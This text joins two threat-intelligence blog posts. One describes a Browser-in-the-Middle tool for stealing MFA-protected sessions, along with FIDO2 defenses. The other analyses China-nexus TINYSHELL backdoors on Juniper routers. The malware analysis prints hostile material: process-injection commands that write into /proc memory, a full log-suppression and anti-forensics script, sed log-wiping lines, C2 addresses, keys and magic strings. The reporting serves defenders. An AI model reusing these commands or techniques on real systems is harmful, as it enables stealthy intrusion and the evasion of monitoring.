According to MITRE, Browser in the Middle (BitM) "uses the inherent functionalities of a web browser to convince the victim they are browsing normally under the assumption that the connection is secure. All the actions performed by the victim in the open window are actually performed on the machine of the adversary." In short, this attack is similar to a victim sitting in front of an attacker's computer and signing in for them; all of the data required to authenticate to the application is now under the attacker's control. 

BitM offers a number of advantages for red team operators when compared to traditional methods of stealing authenticated session tokens. A pivotal benefit of employing a BitM framework lies in its rapid targeting capability, allowing it to reach any website on the web in a matter of seconds and with minimal configuration. Once an application is targeted through a BitM tool or framework, the legitimate site is served through an attacker-controlled browser. This makes the distinction between a legitimate and a fake site exceptionally challenging for a victim. From the perspective of an adversary, BitM allows for a simple yet effective means of stealing sessions protected by MFA.

BitM Overview

Mandiant has developed an internal tool (Delusion) for performing BitM attacks, enabling an operator to target a specific application without possessing prior knowledge about the authentication protocols employed by the application.

Delusion includes a number of unique features that enable session-stealing attacks at scale:

• Support for storing and downloading Firefox browser profiles, making session stealing trivial, no cookie import required

• A monitor page where an operator can interact with a victim's session in real time

• The ability to scale containers and automatically add them to a load balancer for large-scale phishing campaigns

• Two modes of operation designed for either vishing or phishing (Manual and Automatic)

• Bookmarks to simplifying deploying against multiple websites

• Tagging for campaign management

• Session recording for reporting purposes

Delusion was inspired by the following blog posts and research papers. Development would not have been possible without their commitment to publishing and releasing research.

• https://mrd0x.com/bypass-2fa-using-novnc/

• https://link.springer.com/article/10.1007/s10207-021-00548-5

• https://fhlipzero.io/blogs/6_noVNC/noVNC.html 

Mandiant has chosen not to publish Delusion due to weaponization concerns. If you are interested in how your application or portal performs against BitM and other session-stealing threats, check out these open source projects:

• https://github.com/JoelGMSec/EvilnoVNC

• https://github.com/fkasler/cuddlephish

• https://github.com/kgretzky/evilginx2 

BitM Session Stealing in Action

BitM is well suited for targeting applications that allow for initial access to privileged networks or environments through Virtual Desktop Infrastructure (VDI). BitM makes deploying session-stealing infrastructure against any publicly exposed infrastructure very easy. Targeting a login portal is as simple as specifying the portal information and clicking "Deploy", as shown in Figure 1. Figure 2 shows the view of an operator during an engagement. An operator can view any actions taken on the phishing site in real time. Figure 3 shows the view of a victim authenticating through the phishing site. Figure 4 shows an example of a captured session; despite there being no cookies, the browser profile will still contain everything used by the application to maintain the authenticated state. Figure 5 shows the downloaded browser profile being opened and the session being resumed.

Figure 1: Deploying the victim container

Figure 2: Monitoring the victim container

Figure 3: Victim authenticating to app

Figure 4: Captured session and keylogger output

Figure 5: Using the captured Firefox session

Figure 6: Browser-in-the-Middle attack flow

Figure 6 shows a typical attack scenario where a victim is lured to a malicious website through a phone call, text message or email (1). Upon visiting the site given by the operator, the victim's connection is routed through a load balancer to an available proxied browser (2). The victim unknowingly interacts with the proxied browser, entering their credentials, including any MFA tokens (3). Once the attacker observes a successful login, the victim is disconnected from the proxied browser, and their session is compromised (4).

Defense Considerations

To defend against such attacks, organizations can adopt the following strategies. Requiring client certificates for authentication can deter BitM attacks, as these certificates are typically bound to specific devices and cannot be easily manipulated by attackers. Similarly, hardware-based MFA solutions like FIDO2 compatible security keys offer strong protection against BitM. Figure 7 depicts a typical FIDO2 authentication flow.

Figure 7: FIDO2 authentication flow

FIDO2 and/or certificate-based authentication halts an attack scenario, as shown in Figure 8. The attacker's browser is attempting to steal a session from the legitimate site. The attacker's site requests a page from the website it is trying to steal a session from. The website requires a FIDO2 key or certificate to authenticate, and the attacker's site does not have one. Although the attacker's site mirrors the legitimate site's screen so it can trick a possible victim into authenticating for them, the attacker does not have a key or certificate, thus they cannot proceed and the authentication fails. Furthermore, the FIDO2 protocol ensures the BitM cannot successfully replay the FIDO2 response from the real user, as the browser on the user's machine would ensure the responses are immutably tied to the request's origin (i.e., the attacker site cannot request a FIDO2 response to a different target website).

Figure 8: FIDO2 and certificate-based authentication with BitM

There are some caveats with the aforementioned scenario that are important to point out. Certificate-based authentication and FIDO2 security keys only protect sessions when the device they are hosted on is not compromised. It is possible to compromise sessions, and even phish sessions, that are protected with FIDO2 security keys and certificates if you are able to compromise the device they are connected to. This should underscore the importance of a layered security approach with all applications that host sensitive data or provide access to restricted networks.

Conclusion

The threat of BitM attacks emphasizes the importance of robust authentication and access-control mechanisms. By adopting a multi-layered defense strategy incorporating client certificates, hardware-based MFA solutions such as FIDO2-compatible security keys, and compensating controls, organizations can significantly enhance their resilience against these sophisticated threats. The integration of security keys into this defense strategy provides a particularly effective safeguard against session stealing, offering users a tangible and reliable way to protect their online identities and sensitive data.

Acknowledgements

A very special thanks to everyone who contributed to this project's early and continued development. This blog post was made possible by Chris King, Evan Peña, Jerry McClurg, and Jeff Hoffmann.

Written by: Lukasz Lamparski, Punsaen Boonyakarn, Shawn Chew, Frank Tse, Jakub Jozwiak, Mathew Potaczek, Logeswaran Nadarajan, Nick Harbour, Mustafa Nasser

Introduction

In mid 2024, Mandiant discovered threat actors deployed custom backdoors on Juniper Networks’ Junos OS routers. Mandiant attributed these backdoors to the China-nexus espionage group, UNC3886. Mandiant uncovered several TINYSHELL-based backdoors operating on Juniper Networks’ Junos OS routers. The backdoors had varying custom capabilities, including active and passive backdoor functions, as well as an embedded script that disables logging mechanisms on the target device.

Mandiant worked with Juniper Networks to investigate this activity and observed that the affected Juniper MX routers were running end-of-life hardware and software. Mandiant recommends that organizations upgrade their Juniper devices to the latest images released by Juniper Networks, which includes mitigations and updated signatures for the Juniper Malware Removal Tool (JMRT). Organizations should run the JMRT Quick Scan and Integrity Check after the upgrade. Juniper also released an advisory about this incident.

Mandiant has reported on similar custom malware ecosystems in 2022 and 2023 that UNC3886 deployed on virtualization technologies and network edge devices. This blog post showcases a development in UNC3886’s tactics, techniques and procedures (TTPs), and their focus on malware and capabilities that enable them to operate on network and edge devices, which typically lack security monitoring and detection solutions, such as endpoint detection and response (EDR) agents. 

Mandiant previously reported on UNC3886's emphasis on techniques to gather and use legitimate credentials to move laterally within a network, undetected. These objectives remained consistent but were pursued with the introduction of a new tool in 2024. Observations in this blog post strengthen our assessment that the actor’s focus is on maintaining long-term access to victim networks. UNC3886 continues to show a deep understanding of the underlying technology of the appliances being targeted.

At the time of writing, Mandiant has not identified any technical overlaps between activities detailed in this blog post and those publicly reported by other parties as Volt Typhoon or Salt Typhoon. 

Register for our upcoming webinar for a deeper dive into the activity described in this blog post.

Attribution

UNC3886 is a highly adept China-nexus cyber espionage group that has historically targeted network devices and virtualization technologies with zero-day exploits. UNC3886 interests seem to be focused mainly on defense, technology, and telecommunication organizations located in the US and Asia. The activity described in this blog post is the latest in a number of operations where UNC3886 has leveraged custom malware to target network devices. The malware deployed on Juniper Networks’ Junos OS routers demonstrates that UNC3886 has in-depth knowledge of advanced system internals. Furthermore, UNC3886 continues to prioritize stealth in its operations through the use of passive backdoors, together with log and forensics artifact tampering, indicating a focus on long-term persistence, while minimizing the risk of detection.

Junos OS

Juniper Networks Junos OS is a proprietary operating system that powers most Juniper routing, switching, and security devices. It is based on a modified FreeBSD operating system. Junos OS supports 2 different modes of operations:

• CLI mode: where standard Junos OS CLI commands can be issued

• Shell mode: a user with shell access privileges can access an underlying FreeBSD shell and issue standard FreeBSD commands.

Malware identified in this blog post primarily relies on access to the csh shell, but in some cases it is also aware of higher layers.

Veriexec

Junos OS incorporates a Verified Exec (veriexec) subsystem, which is a modified version of an original NetBSD Veriexec Subsystem. Veriexec is a kernel-based file integrity subsystem that protects the Junos OS operating system (OS) against unauthorized code including binaries, libraries, and scripts and activity that might compromise the integrity of the device. To run malware, the threat actor first needed to bypass veriexec protection.

Mandiant did not observe evidence indicating successful exploitation of veriexec bypass techniques already addressed by Juniper in supported software and hardware. However, aside from the process injection technique described later in this blog post, infection on the compromised EOL Juniper MX routers indicate that the threat actor successfully deployed executable backdoors. Mandiant identified the threat actor had root access to the impacted devices.

Circumventing Veriexec with Process Injection

Veriexec protection prevents unauthorized binaries from executing. This poses a challenge for threat actors, as disabling veriexec can trigger alerts. However, execution of untrusted code is still possible if it occurs within the context of a trusted process. Mandiant’s investigation revealed that UNC3886 was able to circumvent this protection by injecting malicious code into the memory of a legitimate process. This specific technique is now tracked as CVE-2025-21590, as detailed in Juniper Network’s security bulletin JSA93446.

To achieve this, UNC3886 first gained privileged access to a Juniper router from a terminal server used for managing network devices using legitimate credentials, and entered the FreeBSD shell from the Junos OS CLI. Within the shell environment, they used the “here document” feature to generate a Base64-encoded file named ldb.b64. This encoded file was then decoded using base64 to create a compressed archive named ldb.tar.gz, which was subsequently decompressed and extracted using the gunzip and tar utilities to extract malicious binaries.

Mandiant was unable to recover the full content of ldb.b64 or ldb.tar.gz on the compromised Juniper routers' file system. However, Mandiant successfully recovered three malicious payloads by performing analysis on the memory of a compromised router. The purpose of the payloads was as follows:

• loader.bin is a shellcode loader responsible for loading functions including exit, mmap, open, read, and close from a standard library libc.so.7, allocating memory, and loading and executing the final payload from payload.bin

• pc.bin contains a memory address 0x4012f0

• payload.bin was identified to be the Position Independent Code (PIC) version of the lmpad backdoor

Details of lmpad backdoor are covered in the Malware Analysis section.

Mandiant observed the threat actor inject malicious payloads into a newly spawned cat process. The actor created a named pipe called null using mkfifo and used cat to continuously read from it, effectively creating a hung process. This stage involved the following commands:

rm -rf null; mkfifo null; cat null & set pid=$! echo " $pid"

While the hung cat process was waiting for data from the null pipe, the threat actor leveraged dd to read binary data from the payload files and write it to specific memory locations inside the cat process.

dd if=loader.bin of=/proc/$pid/mem conv=notrunc obs=1 oseek=0x4012f0 dd if=pc.bin of=/proc/$pid/mem conv=notrunc obs=1 oseek=0x602820

The first dd command wrote the loader code from loader.bin at the virtual address 0x4012f0, which is the entrypoint of cat. The second dd command replaced data at 0x602820 with the content of pc.bin. Mandiant noted that 0x602820 is the global offset table entry for fclose, this memory location was overwritten with 0x4012f0, indicating that pc.bin contains the memory address where loader.bin was injected to.

The threat actor sent an empty string using echo to the null pipe. cat received an end-of-file signal after echo finished writing the data and attempted to close the file by executing fclose.

As the global offset table entry for fclose function was replaced with the entrypoint to the shellcode loader, cat executed the shellcode loader instead of the actual fclose function, and ultimately loaded the final payload from payload.bin in the same directory.

After payload.bin has been loaded, the threat actor removed the null file and the ldb directory, then terminated the current session. This left only the legitimate process running on the compromised router, now containing the malicious code. The following commands were used to achieve these actions:

sleep 1;echo -n>null;sleep 1;rm -rf null cd .. rm -rf ldb kill -9 $$

Mandiant’s investigation noted that this process injection is intended for executing the PIC version of the lmpad backdoor while veriexec is enabled and does not support execution of other backdoors identified on the file system of the compromised Juniper routers. 

Malware Overview

Mandiant’s investigation identified six distinct malware samples across multiple Juniper MX routers. Each sample is a modified version of a TINYSHELL backdoor, but with unique capabilities. All of these samples incorporate a core TINYSHELL backdoor functionality, but differ greatly when it comes to activation methods as well as additional, Junos OS specific features.

The following malware samples were identified:

1. appid - TINYSHELL-based active backdoor, mimicking a legitimate binary named appidd (Application Identification Daemon)

2. to - TINYSHELL-based active backdoor, mimicking a legitimate binary named top (Table of Processes)

3. irad - TINYSHELL-based passive backdoor, mimicking a legitimate binary named irsd (Interface Replication and Synchronization Daemon)

4. lmpad - TINYSHELL-based utility and passive backdoor, mimicking a legitimate binary named lmpd (Link Management Protocol Daemon)

5. jdosd - TINYSHELL-based passive backdoor, mimicking a legitimate binary named jddosd (Juniper DDOS protection Daemon)

6. oemd - TINYSHELL-based passive backdoor, mimicking a legitimate binary named oamd (Operation, Administration and Maintenance Daemon)

TINYSHELL

TINYSHELL is a publicly available lightweight backdoor written in C that communicates using a custom binary protocol. The standard set of TINYSHELL commands comprises of:

• Remote file upload

• Remote file download

• Establishing remote shell session

A basic TINYSHELL implementation for FreeBSD seems to be a foundation for heavily customized backdoors detailed as follows.

Malware Analysis appid — TINYSHELL-Based Active Backdoor

Sample one, named appid, is an active backdoor written in C. It is derived from the publicly available TINYSHELL source code with additional supported commands. It is an active backdoor that communicates to the following hardcoded command and control (C2) servers:

• TCP://129[.]126[.]109[.]50:22

• TCP://116[.]88[.]34[.]184:22

• TCP://223[.]25[.]78[.]136:22

• TCP://45[.]77[.]39[.]28:22

Mandiant believes these IPs are staging nodes of a GOBRAT ORB network, eventually leading to a single, backend Adversary Controlled Operations Server (“ACOS”).

This malware begins by communicating to a random C2 server from the list. The malware maintains two TCP sockets that will stay synchronized with the same C2 address. One socket is used for tasking requests and the other is for handling requests. The malware will rotate through the list of C2 servers until a successful connection is created and it will request a task using the first socket. After receiving a task from the C2, the malware then creates a second socket for handling this specific task. After the task is finished, the second socket is closed.

The malware encrypts all network traffic with AES using a hard-coded key. The following commands are supported by malware, consisting of standard TINYSHELL commands and added proxy and reconfiguration capabilities:

Number

Name

Description

Comment

1

tshd_get_file

Sends a file to the server

Standard TINYSHELL command

2

tshd_put_file

Downloads a file from the server

Standard TINYSHELL command

3

tshd_runshell

Launches an interactive /bin/sh shell session

Standard TINYSHELL command

4

tshd_setproxy

Establish a Socks proxy to a given IP+port number

Custom command

5

tshd_config

Change Configuration Menu

Custom command

The following is the list of configuration items that can be changed by the command number 5 (tshd_config) and their associated config menu numbers:

Number

Config Item

11

C2 IP Address 1

12

C2 IP Address 2

13

C2 IP Address 3

14

C2 IP Address 4

2

C2 Port Number

3

C2 Network Interface

4

Sleep Timeout

0

Exit Config Menu

to — TINYSHELL-Based Active Backdoor 

Sample two, named to, is the same as Sample 1 but with different hardcoded C2 servers:

• tcp://101[.]100[.]182[.]122:22

• tcp://118[.]189[.]188[.]122:22

• tcp://158[.]140[.]135[.]244:22

• tcp://8[.]222[.]225[.]8:22

irad — TINYSHELL-Based Passive Backdoor

Sample three, named irad, is a TINYSHELL-based passive backdoor written in C. It acts as a libpcap-based packet sniffer and receives commands by inspecting packets on the wire looking for a magic-string that activates its backdoor capabilities. Malware supports 2 modes of operation: active mode, in which it will connect to a provided C2 address, or a passive - listening mode.  In addition to 3 standard TINYSHELL commands, it implements 2 custom commands and a custom activation routine.

The malware uses libpcap library to capture all network packets on the host (interface specified in the eth environment variable) matching the BPF filter of icmp[4:2] == 0xaa56. It reads 16 bytes of data starting at offset 10 from the ICMP packet. The malware has insufficient bounds checking and could read past the end of a packet payload if a smaller than expected packet is encountered.

For any ICMP type code 8 (Echo request) packets, it reads the 16 bytes of data and decrypts it with a single byte XOR key 0x86. It then compares the decrypted data with a magic string uSarguuS62bKRA0J. If the string matches and the byte 8 of the ICMP packet matches ascii character 1 or 2, it then reads the target IP and TCP port number from the ICMP packet and establishes a TCP connection to the specified IP (active mode). It uses a custom AES and HMAC implementation to encrypt and authenticate the communication. It uses a hardcoded key string WZtOTig2m42gXB6U to derive session keys and a hardcoded authentication token 58 90 AE 86 F1 B9 1C F6 29 83 95 71 1D DE 58 0D to authenticate a target.

After authenticating a connection to a target host it starts encrypted communication. If the response from the target host begins with the string ek63a21km7WSWkfk then it exits, otherwise it decodes the command number from the packet:

Command Number

Function

Comment

1

Upload a file to the remote host

Standard TINYSHELL command

2

Download a file from the remote host

Standard TINYSHELL command

3

Launch an interactive /bin/csh session

Standard TINYSHELL command

4

Does nothing

Custom command

5

Relay the current connection to a specified IP and Port

Custom command

If byte 8 of the ICMP packet is 0, the malware will spawn a listening server on TCP port 31234 (passive mode). The listening backdoor server supports the same set of 5 commands as listed in the previous table, and the same encryption and authentication protocol.

If the string 1spCq0BMbJwCoeZn is received, and the malware is currently operating as a listener and accepting connections on port 31234, then it will terminate the listening process.

lmpad — TINYSHELL-Based Utility and Passive Backdoor

Sample four, named lmpad is an utility and a passive backdoor written in C. In addition to standard TINYSHELL capabilities it can also launch an external script that can perform process injection into two legitimate Junos OS processes to inhibit logging. The main purpose of this malware is to disable all possible logging before the operator connects to the router to perform hands-on activities and then later restore the logs after the operator disconnects. 

The malware begins by attempting to receive a UDP packet on port 33615, where it receives an RC4 encrypted message and sends an acknowledgement message in response. The malware also checks the decrypted received payload against the following hex bytes, terminating the connection if it doesn't match.

26 e7 2b 3a 1c a2 16 2d 61 89 57 a9 cd 4c e7 3c

The RC4 encryption key used to decrypt received UDP messages is: 0b3330c0b41d1ae2.

After the initial check, the malware enters a listening mode, waiting for commands. In addition to standard TINYSHELL commands (command 2, 4 and 5) it also implements 5 other custom commands:

Command 0

This command inhibits logging in preparation of hands-on threat actor activity on the router. It begins by writing a compressed zip archive to the file /var/tmp/pfed_jdhcp6_trace.log. It then executes the following command line to decompress the archive, execute an embedded script with argument pre and clean up the script after execution:

gzip -d /var/tmp/pfed_jdhcp6_trace.log -c > /var/tmp/pfed_jdhcp6_trace.log.bak; sh /var/tmp/pfed_jdhcp6_trace.log.bak pre ; rm -rf /var/tmp/pfed_jdhcp6_trace.log /var/tmp/pfed_jdhcp6_trace.log.bak ; kill -9 $$

The following is the uncompressed script file:

pre_ssh() { #closelog cp /mfs/var/etc/syslog.conf /mfs/var/etc/syslog.conf0 sed -i '' 's/\/dev\/null #//g' /mfs/var/etc/syslog.conf0 sed -i '' 's/ / \/dev\/null #/g' /mfs/var/etc/syslog.conf ps -fcA |grep eventd | awk '{ print $1 }' | xargs kill -1 #last cp -r /var/log/utx.log /var/log/utx.log0 cp -r /var/log/wtmp /var/log/wtmp0 } post_ssh() { #relog cp /mfs/var/etc/syslog.conf0 /mfs/var/etc/syslog.conf rm -f /mfs/var/etc/syslog.conf0 ps -fcA | grep eventd | awk '{ print $1 }' | xargs kill -1 #relast cp -r /var/log/wtmp0 /var/log/wtmp cp -r /var/log/utx.log /var/log/utx.log0 rm -f /var/log/wtmp0 } backup() { #backconf rm -rf /var/rundb+ cp -r /var/rundb /var/rundb+ cp /var/db/commits /usr/lib/libjucomm.so.1 tar -cf /config/usage_db /config/juniper.conf.* tar -cf /var/db/config/usage_db /var/db/config/juniper.conf.* } restore() { #reconfig cp -r /var/rundb+/* /var/rundb cp /usr/lib/libjucomm.so.1 /var/db/commits tar -xf /config/usage_db -C / tar -xf /var/db/config/usage_db -C / rm -r /var/rundb+ rm -f /usr/lib/libjucomm.so.1 rm -f /config/usage_db rm -f /var/db/config/usage_db } if [ $1 = "pre" ]; then pre_ssh elif [ $1 = "post" ]; then post_ssh elif [ $1 = "backup" ]; then backup elif [ $1 = "restore" ]; then restore fi echo done exit 0

This script can execute 4 commands:

1. pre: backups syslog.conf as syslog.conf0, it also redirects all logging to /dev/null, sends HUP signal to eventd daemon responsible for logging and backs up last log and wtmp log. 

2. post: reverses changes done by pre_ssh, it restores original syslog.conf as well as last log and wtmp log, it removes backups and sends another HUP signal to eventd process. 

3. backup: it backups the current Juniper configuration database and commit logs and archives configuration files. 

4. restore: it restores previously backed up configuration database and config files and removes backups. 

After stopping logging with pre_ssh script, this command then reads the snmpd process PID from /var/run/snmpd.pid. It also reads 4 bytes of data from address 0x8601328 and writes it to the file /var/tmp/rts by using dd:

dd if=/proc/<pid>/mem of=/var/tmp/rts bs=1 count=4 iseek=0x8601328 2>/dev/null

It then changes this data to 0 and writes it to /var/tmp/rts and later back to snmpd process memory using the same dd technique:

dd of=/proc/<pid>/mem if=/var/tmp/rts bs=1 count=4 oseek=0x8601328 conv=notrunc 2>/dev/null

This patches the snmpd process memory at address  0x8601328. The patch sets a global variable named trap_configs to 0. trap_configs possibly points to a structure containing SNMP traps that are sent to the monitoring server. Effectively this stops SNMP traps from being triggered which is most likely done to stop SNMP traps from triggering when specific events stop being logged in syslog. 

The malware then repeats similar actions against the mgd (Juniper Management Daemon) process. It reads mgd process PID from /var/run/mgd.pid and using the same technique previously mentioned it reads 4 bytes from  mgd process memory at 0x84E90D8 . It compares these bytes to 57E58955 (which after swapping endianness, disassembles to: PUSH RBP; MOV EBP,ESP; PUSH RDI instructions which is a typical function prologue), and if they match, it patches them with following bytes: C3D08990. If we disassemble these bytes from a little endian order, we get NOP; MOV EAX,EDX; RET instructions.

This patch modifies the prologue of the function at 0x84E90D8 to NOP, MOV EAX,EDX, RET  effectively skipping the rest of the function. Based on the behavioral analysis, the goal of this patch is likely to stop auditd logging of MGD login, logout, cmd events.

This direct memory manipulation using dd allows the attacker to alter program behavior and bypass security measures. UNC3886 previously used a similar tactic, where dd was used to disable file system verification on startup. In that case, UNC3886 exploited a vulnerability (CVE-2022-41328) to overwrite legitimate FortiOS system binaries, achieving persistence and evading security checks. 

Command 1

This command can reverse operations performed by Command 0 after the operator finished their hands-on-keyboard operations. It restores logging by executing sh /var/tmp/pfed_jdhcp6_trace.log.bak post, it also reverses patches to snmpd and mgd.

Command 2 — Launch CSH Session

This command launches an interactive /bin/csh session over the UDP connection, with a forked process encrypting the input and output of the shell and transmitting it over the network.

Before executing remote shell, this commands launches a series of sed commands to remove specific lines from log files:

sed -i '' '/root/d' /var/log/interactive-commands sed -i '' -e '/vi/d' -e '/set/d' -e '/gdb/d' -e '/mgd/d' /root/.history sed -i '' '/root/d' /var/log/messages sed -i '' '/root/d' /var/log/auth

These remove lines containing the term root from /var/log/interactive-commands, /var/log/messages, and /var/log/auth. They also remove instances of vi, set, gdb, and mgd from /root/.history.

Command 3 — Request New Sleep Timeout

This command will cause the malware to send a reply to the connection containing the value of the current sleep timeout. The response to that message will contain the new 4-byte sleep timeout that will be used by the main command loop (in seconds).

Command 4 — File Upload

This command will cause the malware to send a specified file to the remote server.

Command 5 — File Download

This command will cause the malware to download a file from the remote server and write it to the disk.

Command 6 — Backup Configuration Database

This command causes the malware to execute the same script as Command 0 but with argument backup to backup Juniper configuration database and commit logs.

gzip -d /var/tmp/pfed_jdhcp6_trace.log -c > /var/tmp/pfed_jdhcp6_trace.log.bak; sh /var/tmp/pfed_jdhcp6_trace.log.bak backup ; rm -rf /var/tmp/pfed_jdhcp6_trace.log /var/tmp/pfed_jdhcp6_trace.log.bak ; kill -9 $$ Command 7 — Restore configuration database

This command causes the malware to execute the same script as Command 0 but with argument restore to restore Juniper configuration database and commit logs:

gzip -d /var/tmp/pfed_jdhcp6_trace.log -c > /var/tmp/pfed_jdhcp6_trace.log.bak; sh /var/tmp/pfed_jdhcp6_trace.log.bak restore ; rm -rf /var/tmp/pfed_jdhcp6_trace.log /var/tmp/pfed_jdhcp6_trace.log.bak ; kill -9 $$ Command 8 - Receive new socket timeout value

This command will cause the malware to send a reply to the connection containing the value of the current socket timeout. The response to that message will contain the new 4-byte value that will be used to update the main socket timeout. The default socket timeout value is 300 seconds

If any other command is passed, malware will close the socket and exit. 

jdosd — TINYSHELL-Based Passive Backdoor

Sample five, named jdosd, is a passive backdoor written in C. It implements a UDP backdoor operating on a fixed port number which provides file transfer and remote shell capabilities.

Malware binds to UDP port 33512 and uses a custom RC4 implementation. This implementation has a bug in it where it doesn't properly retrieve a final state box value during its PRGA generation. The following key is used for the traffic encryption:

4fd37426-65dd-4a8d-8ba6-1382a011dae9

The attacker initiates the connection to the backdoor by sending a magic value 0xDEADBEEF. The malware responds to this message by sending the same message in response, encrypted with custom RC4. The malware will then send the process ID (pid) of its own process to the C2.

After the initial beacon the malware waits for additional commands. In addition to standard TINYSHELL commands (1-3), there are two additional commands supported(0xAC, 0xFF):

Command Code

Description

Comment

1

Upload data. Reads a file path from the received data stream and sends the contents of the file to the remote host.

Standard TINYSHELL command

2

Reads a file name from the data stream, creates it, then reads the file contents to write to that file from the data stream.

Standard TINYSHELL command

3

Launches an interactive /bin/csh session, with all input and output marshaled across the UDP connection

Standard TINYSHELL command

0xAC

Does nothing

Custom command

0xFF

Exits the Program

Custom command

oemd — TINYSHELL-Based Passive Backdoor

Sample six, named oemd, is a passive backdoor written in C. The backdoor receives the C2 address and port by binding on specific network interfaces. Network interfaces are stored in an environment variable. The backdoor communicates with the C2 over TCP. Communication with C2 is AES-encrypted and XOR-encoded.

The malware configuration is stored in the following environment variables:

• INTFS: The network interfaces' names to bind to.

• RTS: The routing addresses to bind to (instead of interfaces).

• UPRT: The port to bind to (if not specified, 45678 is used)

• DAEMON: Run the sample in the background.

During initialization, malware executes following command to retrieve local-index number of an interface specified in the INTFS environment variable:

ifinfo '<interface>' | grep local-index | grep -Eo '[0-9]+'

After setting up a local UDP socket, malware binds to 0.0.0.0:<port> on the specified interfaces and waits for the attacker to send the C2 address and port. After receiving a C2 address on the UDP socket it establishes a new TCP connection to the provided target.

Malware supports a set of standard TINYSHELL commands:

• 1: Upload a file.

• 2: Download a file.

• 3: Execute a shell command.

When executing shell commands, the malware clears the HISTFILE environment variable and allows the attacker to specify the TERM value.

Junos OS Specific Socket Options

All the previously listed samples create an AF_ROUTE socket using socket(AF_ROUTE(17), SOCK_SEQPACKET(5), 0). Running these samples on a standard FreeBSD system would return an invalid socket, hence we believe this to be a JunosOS specific implementation.

We believe that this socket is used to establish a connection for communicating with the operating system's routing subsystem. The AF_ROUTE constant designates the socket family for routing operations, and SOCK_SEQPACKET specifies a reliable, message-oriented connection. This socket is used to read and write a packet similar in structure to rt_* messages on OpenBSD to retrieve the interface index. From all the samples, only oemd uses the ifinfo command to retrieve the interface index, while other samples are using a custom rt_* messages via the socket.

The custom message contains an interface name and a logical sub interface. On Juniper routing devices, instead of tagging packets with VLAN IDs, sub-interfaces act as distinct interfaces with their own IP addresses, routing configurations, and potentially different security policies. The interface index value is then passed into a setsockopt call for a command and control socket either TCP or UDP.

Activity in Linux Environments

Mandiant continued to observe UNC3886 leverage similar TTPs and use of the same malware and utilities as detailed in our previous blog post as follows:

• Command execution and persistence using a combination of rootkits and utilities, including REPTILE and MEDUSA with SEAELF loader, and BUSYBOX.

• Instead of using the publicly available kubo/injector as noted previously, Mandiant observed UNC3886 deployed PITHOOK along with a custom SSH server based on the publicly available wzshiming/sshd project to hijack SSH authentications and capture SSH credentials.

• TACACS+ daemon binary was replaced by a backdoored version of the binary with similar malicious functions for capturing credentials.

• Use of GHOSTTOWN malware for anti-forensics purposes.

Mandiant’s investigation did not observe evidence of data staging and exfiltration.

Outlook and Implications

This blog post further highlights China-nexus espionage actors  are continuing to compromise networking infrastructure with custom malware ecosystems. While UNC3886 previously focused their operations on network edge devices, this activity demonstrated they’re also targeting internal networking infrastructure, such as Internet Service Provider (ISP) routers.

Mandiant observed the threat actor targeting network authentication services, including the Terminal Access Controller Access-Control System (TACACS+), and terminal servers with access to the routers to gain privileged initial access.

This privileged access allowed the threat actor to enter Junos OS shell mode and perform restricted operations. Investigating further actions taken by the threat actor was hampered by the challenges inherent in analyzing proprietary network devices, which required novel methods for artifact acquisition and analysis. 

Mandiant recommends organizations:

• Upgrade Juniper devices and run security checks: Organizations should upgrade their Juniper devices to the latest images which contain mitigations and updated signatures for JMRT and run JMRT Quick Scan and Integrity check after the upgrade. 
• Secure Authentication: Implement a centralized Identity and Access Management (IAM) system with robust multi-factor authentication (MFA) and granular role-based access control (RBAC) for managing network devices.
• Configuration Management: Implement a network configuration management that supports configuration validation against defined templates and standards, with the ability to automatically remediate deviations or trigger alerts for manual intervention.
• Enhanced Monitoring: Address and prioritize high-risk administrative activities and implement monitoring solutions with a process to regularly review the effectiveness of detection.
• Vulnerability Management: Prioritize patching and mitigation of vulnerabilities in network devices, including those in lesser-known operating systems.
• Device Lifecycle Management: Implement a device lifecycle management program that includes proactive monitoring, automated software updates, and end-of-life (EOL) replacement planning to ensure network devices are always supported and secure. 
• Security Hardening: Strengthen the security posture of network devices, administrative devices and systems used for managing network devices by implementing strict access controls, network segmentation, and other security measures.
• Threat Intelligence: Proactively leverage threat intelligence to continually evaluate and improve the effectiveness of security controls against emerging threats.

The compromise of routing devices is a recent trend in the tactics of espionage-motivated adversaries as it grants the capability for a long-term, high-level access to the crucial routing infrastructure, with a potential for more disruptive actions in the future. A concerted effort is required to safeguard these critical systems and ensure the continued stability and security of the internet.

Organizations potentially impacted by this campaign are strongly advised to engage Mandiant's Custom Threat Hunt service. Mandiant's team of security experts can proactively identify and mitigate hidden threats, providing clarity and confidence in your security posture.

Acknowledgement

This analysis would not have been possible without the assistance from analysts across Google Threat Intelligence Group and Mandiant’s FLARE. A special thanks goes to Paul Tarter, Adam Markun, and Ange Albertini who contributed to analysis of the malware detailed in this blog post.

Indicators of Compromise

A Google Threat Intelligence Collection of IOCs is available for registered users. For Google Security Operations Enterprise+ customers, rules have been released to your Emerging Threats rule pack, and indicators of compromise (IOCs) listed in this blog post are available for prioritization with Applied Threat Intelligence.

Host-Based Indicators

Filename

Malware Family

MD5

SHA1

SHA256

appid

TINYSHELL

2c89a18944d3a895bd6432415546635e

50520639cf77df0c15cc95076fac901e3d04b708

98380ec6bf4e03d3ff490cdc6c48c37714450930e4adf82e6e14d244d8373888

irad

TINYSHELL

aac5d83d296df81c9259c9a533a8423a

1a6d07da7e77a5706dd8af899ebe4daa74bbbe91

5bef7608d66112315eefff354dae42f49178b7498f994a728ae6203a8a59f5a2

jdosd

TINYSHELL

8023d01ffb7a38b582f0d598afb974ee

06a1f879da398c00522649171526dc968f769093

c0ec15e08b4fb3730c5695fb7b4a6b85f7fe341282ad469e4e141c40ead310c3

lmpad

TINYSHELL

5724d76f832ce8061f74b0e9f1dcad90

f8697b400059d4d5082eee2d269735aa8ea2df9a

5995aaff5a047565c0d7fe3c80fa354c40e7e8c3e7d4df292316c8472d4ac67a

oemd

TINYSHELL

e7622d983d22e749b3658600df00296d

cf7af504ef0796d91207e41815187a793d430d85

905b18d5df58dd6c16930e318d9574a2ad793ec993ad2f68bca813574e3d854b

to

TINYSHELL

b9e4784fa0e6283ce6e2094426a02fce

01735bb47a933ae9ec470e6be737d8f646a8ec66

e1de05a2832437ab70d36c4c05b43c4a57f856289224bbd41182deea978400ed

oemd

TINYSHELL

bf80c96089d37b8571b5de7cab14dd9f

cec327e51b79cf11b3eeffebf1be8ac0d66e9529

3751997cfcb038e6b658e9180bc7cce28a3c25dbb892b661bcd1065723f11f7e

lmpad

TINYSHELL

3243e04afe18cc5e1230d49011e19899

2e9215a203e908483d04dfc0328651d79d35b54f

